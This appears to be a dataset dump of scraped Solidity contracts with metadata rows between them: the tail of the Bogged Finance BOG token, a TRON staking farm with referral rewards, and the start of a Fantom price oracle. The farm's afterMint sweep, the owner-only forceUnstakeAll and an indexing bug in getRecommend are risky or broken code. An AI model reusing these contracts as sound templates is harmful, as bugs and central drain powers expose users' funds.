function forceUnstakeAll() external override owned {
for(uint256 i=0; i<_holders.length; i++){
uint256 amt = getStake(_holders[i]); // saves gas
if(amt > 0){ _unstake(_holders[i], amt); }
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account].add(earnt(account));
}
function realise() public {
_realise(msg.sender);
}
function _realise(address account) internal {
if(getStake(account) != 0){
uint256 amount = earnt(account);
_balances[account] = _balances[account].add(amount);
_stakes[account].realised = _stakes[account].realised.add(amount);
_totalRealised = _totalRealised.add(amount);
}
_stakes[account].excludedAmt = _totalFees;
}
function earnt(address account) internal view returns (uint256) {
if(_stakes[account].excludedAmt == _totalFees || _stakes[account].LP == 0){ return 0; }
uint256 availableFees = _totalFees.sub(_stakes[account].excludedAmt);
uint256 share = availableFees.mul(_stakes[account].LP).div(_totalLP); // won't overflow as even totalsupply^2 is less than uint256 max
return share;
}
function _stake(address account, uint256 amount) internal {
_pair.transferFrom(account, address(this), amount); // transfer LP tokens from account
// realise staking gains now (also works to set excluded amt to current total rewards)
_realise(account);
// add to current address' stake
_stakes[account].LP = _stakes[account].LP.add(amount);
_totalLP = _totalLP.add(amount);
// ensure staker is recorded as holder
updateHoldersStaked(account);
emit Staked(account, amount);
}
function _unstake(address account, uint256 amount) internal {
require(_stakes[account].LP >= amount); // ensure sender has staked more than or equal to requested amount
_realise(account); // realise staking gains
// remove stake
_stakes[account].LP = _stakes[account].LP.sub(amount);
_totalLP = _totalLP.sub(amount);
// send LP tokens back
_pair.transfer(account, amount);
// check if sender is no longer a holder
updateHoldersUnstaked(account);
emit Unstaked(account, amount);
}
function distribute(uint256 amount) external {
_realise(msg.sender);
require(_balances[msg.sender] >= amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_distribute(msg.sender, amount);
}
function _distribute(address account, uint256 amount) internal {
_totalFees = _totalFees.add(amount);
emit FeesDistributed(account, amount);
}
function updateHoldersTransferSender(address account) internal {
if(!isStillHolding(account)){ removeHolder(account); }
}
function updateHoldersTransferRecipient(address account) internal {
if(!isHolder(account)){ addHolder(account); }
}
function updateHoldersStaked(address account) internal {
if(!isHolder(account)){ addHolder(account); }
}
function updateHoldersUnstaked(address account) internal {
if(!isStillHolding(account)){ removeHolder(account); }
}
function isStillHolding(address account) internal view returns (bool) {
return balanceOf(account) > 0 || getStake(account) > 0;
}
modifier pairInitialized() { require(_pairInitialized); _; }
function setPairAddress(address pair) external owned {
require(_totalLP == 0, "Cannot change pair whilst there is LP staked");
_pair = IBEP20(pair);
_pairInitialized = true;
}
}
abstract contract Burnable is BogDistributive {
using SafeMath for uint256;
uint256 _burnRate = 50; // 5.0% of tx's to be split between burn/distribute
uint256 _distributeRatio = 5; // 1:5 ratio of burn:distribute
uint256 _totalBurnt;
function getTotalBurnt() external view returns (uint256) {
return _totalBurnt;
}
function getBurnRate() public view returns (uint256) {
return _burnRate;
}
function getDistributionRatio() public view returns (uint256) {
return _distributeRatio;
}
function setBurnRate(uint256 newRate) external owned {
require(newRate < 100);
_burnRate = newRate;
}
function setDistributionRatio(uint256 newRatio) external owned {
require(newRatio >= 1);
_distributeRatio = newRatio;
}
function _txBurn(address account, uint256 txAmount) internal returns (uint256) {
uint256 toBurn = txAmount.mul(_burnRate).div(1000); // calculate amount to burn
_distribute(account, toBurn.mul(_distributeRatio-1).div(_distributeRatio));
_burn(account, toBurn.div(_distributeRatio));
return txAmount.sub(toBurn); // return amount left after burn
}
function burn(uint256 amount) public {
require(_balances[msg.sender] >= amount);
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
if(amount == 0){ return; }
_totalSupply = _totalSupply.sub(amount);
_totalBurnt = _totalBurnt.add(amount);
_balances[account] = _balances[account].sub(amount);
emit Burn(account, amount);
}
event Burn(address account, uint256 amount);
}
abstract contract BOG20 is IBOG20, Burnable, BogdabotController {
using SafeMath for uint256;
uint32 _maxTxPercent = 50; // max size as % of supply as percentage to 1d.p, eg 50 = 5.0%
bool _firstTx = true; // flag for first tx (as this will be to provide liquidity so don't want limit)
constructor(uint256 supply) {
uint256 amount = supply * (10 ** _decimals);
_balances[msg.sender] = _balances[msg.sender].add(amount);
_totalSupply = _totalSupply.add(amount);
updateHoldersTransferRecipient(msg.sender); // ensure receiver is set as sender
emit Transfer(address(0), msg.sender, amount);
}
function quickRundown(address account) external view override returns (uint256) {
return balanceOf(account);
}
function fundsAreSafu() external pure override returns (bool) {
return true; // always ;)
}
function getOwner() external view override returns (address) {
return _owner;
}
function checkTxAmount(uint256 amount) internal {
if(_firstTx){ _firstTx = amount == 0 ? true : false; return; } // skip first tx as this will be providing 100% as liquidity
require(amount <= _totalSupply.mul(_maxTxPercent).div(1000), "Tx size exceeds limit");
}
function setMaxTxPercent(uint32 amount) external owned {
require(amount > 10 && amount < 1000, "Invalid max tx size"); // ensure > 1% & < 100%
_maxTxPercent = amount;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "Can't transfer from zero");
require(recipient != address(0), "Can't transfer to zero");
// ensure tx size is below limit
checkTxAmount(amount);
// realise staked gains & then check if enough balance to cover
_realise(sender);
require(_balances[sender] >= amount, "Not enough balance");
// require allowance if sender is not transaction creator
if(sender != msg.sender){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Not enough allowance");
}
// burn & distribute
uint256 sendAmt = _txBurn(sender, amount);
// transfer
_balances[sender] = _balances[sender].sub(sendAmt);
_balances[recipient] = _balances[recipient].add(sendAmt);
// update holders
updateHoldersTransferSender(sender);
updateHoldersTransferRecipient(recipient);
// call any hooks
bogdabotTxHook(sender, recipient, amount);
emit Transfer(sender, recipient, sendAmt);
return true;
}
function _approve(address spender, uint256 amount) internal returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
function heBought(address account, uint256 amount) external override { }
function heSold(address account, uint256 amount) external override { }
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(spender, amount);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(sender, recipient, amount);
}
function multiTransfer(address[] memory accounts, uint256[] memory amounts) external {
require(accounts.length == amounts.length, "Accounts & amounts must be same length");
for(uint256 i=0; i<accounts.length; i++){
_transferFrom(msg.sender, accounts[i], amounts[i]);
}
}
}
contract BoggedFinance is BOG20, RecordsCreation {
using SafeMath for uint256;
constructor() BOG20(2500000) {
_name = "Bogged Finance";
_symbol = "BOG";
}
}
| 256,852 | 10,552 |
3360a8c812e7ec2b3b3abac379b5a66bd78b1c571f1c02f4012ce72cf2f829c8
| 30,430 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THotLrCogHysh2hkr5syB9k8tytBvq4gcd_Farm.sol
| 5,132 | 19,527 |
//SourceUnit: farm-v0.2.sol
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
//require(Address.isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external ;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public inCoin;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
inCoin.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
inCoin.safeTransfer(msg.sender, amount);
}
}
contract Farm is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public outCoin;
uint256 public constant DURATION = 10 days;
uint256 public startTime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 constant l1Reward = 20;
uint256 constant l2Reward = 5;
address public genesisMiner ;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
struct ReferralAddr {
address addr;
bool valid;
}
//IterableMapping.itmap referralRelationships;
mapping(address => ReferralAddr[]) referralRelationships;
mapping(address => address) alreadyReferraled;
mapping(address => uint256) public frozenReferralRewards;
mapping(address => uint256) public referralRewardsWithdraw;
mapping(address => uint256) public lastGetReward;
PoolInfo public poolInfo;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event WithdrawReferralRewards(address indexed user, uint256 amount);
struct PoolInfo {
uint256 startTime;
uint256 finishTime;
uint256 totalReward;
uint256 rewardRate;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(IERC20 _inCoin, IERC20 _outCoin, uint256 _startTime, address _miner) public {
inCoin = _inCoin;
outCoin = _outCoin;
startTime = _startTime;
genesisMiner = _miner;
}
///
function _updateReferralRelationship(address user, address referrer) internal {
if (referrer == user) {// referrer cannot be user himself/herself
return;
}
require(balanceOf(referrer) > 0 || referrer == genesisMiner, "user Doesn't deposit");
if (referrer == address(0)) {// Cannot be address 0
return;
}
if (alreadyReferraled[user] != address(0)) {//referrer has been set
return;
}
alreadyReferraled[user] = referrer;
referralRelationships[referrer].push(ReferralAddr(user, true));
//IterableMapping.insert(referralRelationships, user, referrer);
}
///
function getReferrer(address account) public view returns (address) {
return alreadyReferraled[account];
}
//
function getReferralRewards(address account) public view returns (uint256) {
uint256 availableReferralRewards = getLevelReferralRewards(account, l1Reward, l2Reward, true);
availableReferralRewards = availableReferralRewards.add(frozenReferralRewards[account]);
availableReferralRewards = availableReferralRewards.sub(referralRewardsWithdraw[account]);
return availableReferralRewards;
}
function getLevelReferralRewards(address account, uint256 rate1, uint256 rate2, bool isContinue) internal view returns (uint256) {
uint256 availableReferralRewards = 0;
uint256 rate = rate1;
if(!isContinue) {
rate = rate2;
}
for(uint i = 0; i < referralRelationships[account].length; i ++) {
//
if(referralRelationships[account][i].valid) {
address user = referralRelationships[account][i].addr;
uint256 reward = earned(user);
if(reward > 0) {
availableReferralRewards = availableReferralRewards.add(reward.mul(rate).div(100));
}
//
if(isContinue) {
reward = getLevelReferralRewards(user, rate1, rate2, false);
if(reward > 0) {
availableReferralRewards = availableReferralRewards.add(reward);
}
}
}
}
return availableReferralRewards;
}
function withdrawReferralRewards(uint256 amount) public checkStart {
address user = msg.sender;
uint256 availableReferralRewards = getReferralRewards(user);
require(amount <= availableReferralRewards, "not sufficient referral rewards");
referralRewardsWithdraw[user] = referralRewardsWithdraw[user].add(amount);
safeOSKTransfer(user, amount);
emit WithdrawReferralRewards(user, amount);
}
///
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
//
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
///
function deposit(uint256 amount, address referrer) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
require(block.timestamp < periodFinish, "mint finish");
super.stake(amount);
_updateReferralRelationship(msg.sender, referrer);
emit Staked(msg.sender, amount);
}
///
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
///
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
safeOSKTransfer(msg.sender, reward);
if(alreadyReferraled[msg.sender] != address(0)) {
address referrer = alreadyReferraled[msg.sender];
uint256 referrerFee = reward.mul(l1Reward).div(100);
frozenReferralRewards[referrer] = frozenReferralRewards[referrer].add(referrerFee);
//
if(alreadyReferraled[referrer] != address(0)) {
address referrer2 = alreadyReferraled[referrer];
uint256 referrerFee2 = reward.mul(l2Reward).div(100);
frozenReferralRewards[referrer2] = frozenReferralRewards[referrer2].add(referrerFee2);
}
}
emit RewardPaid(msg.sender, reward);
}
}
function safeOSKTransfer(address _to, uint256 _amount) internal {
uint256 oskBalance = outCoin.balanceOf(address(this));
if (_amount > oskBalance) {
outCoin.safeTransfer(_to, oskBalance);
} else {
outCoin.safeTransfer(_to, _amount);
}
}
modifier checkStart(){
require(block.timestamp > startTime, "not start");
_;
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
lastUpdateTime = startTime;
periodFinish = startTime.add(DURATION);
poolInfo.startTime = startTime;
poolInfo.finishTime = periodFinish;
poolInfo.totalReward = reward.add(reward.mul(l1Reward).div(100)).add(reward.mul(l2Reward).div(100));
poolInfo.rewardRate = rewardRate;
}
emit RewardAdded(reward);
}
///
function getRecommendLp(address who) internal view returns(uint256) {
uint256 l1RecommendAmount = 0;
for(uint256 i = 0; i < referralRelationships[who].length; i ++) {
address sonaddr = referralRelationships[who][i].addr;
l1RecommendAmount = l1RecommendAmount.add(balanceOf(sonaddr));
}
return l1RecommendAmount;
}
function getRecommend(address who, uint8 page) external view returns(address[10] memory , uint256[10] memory, uint256[10] memory, uint256, uint256) {
uint256 total = referralRelationships[who].length;
uint256[10] memory l2Count ;
uint256[10] memory groupAmount ;
address[10] memory userlist;
uint256 ibegin = page * 10;
uint256 iend = (page+1) * 10 ;
uint256 lAmount = 0;
address who1 = who;
if(total < iend) {
iend = total;
}
for(uint256 i = ibegin; i < iend; i ++) {
address son = referralRelationships[who1][i].addr;
userlist[i] = son;
l2Count[i] = referralRelationships[son].length;
lAmount = getRecommendLp(son);
groupAmount[i] = lAmount.add(balanceOf(son));
}
return (userlist, l2Count, groupAmount, iend - ibegin, total);
}
function afterMint() external onlyRewardDistribution {
require(block.timestamp >= periodFinish, "the lp mined not over");
uint256 amount = outCoin.balanceOf(address(this));
if(amount > 0) {
outCoin.safeTransfer(msg.sender, amount);
}
}
}
| 294,349 | 10,553 |
f9e78f05b9c72cfe68e4cfc31e1a191b192dcc60a5fd4267d7979213f4250c6d
| 27,159 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ed/ED0eebd8D19Bb1Ed1EbA38Ae47C57c2985cFEA40_Oracle.sol
| 5,168 | 18,664 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
function _renounceOperator() public onlyOwner {
emit OperatorTransferred(_operator, address(0));
_operator = address(0);
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(block.timestamp >= startTime, 'Epoch: not started yet');
_;
}
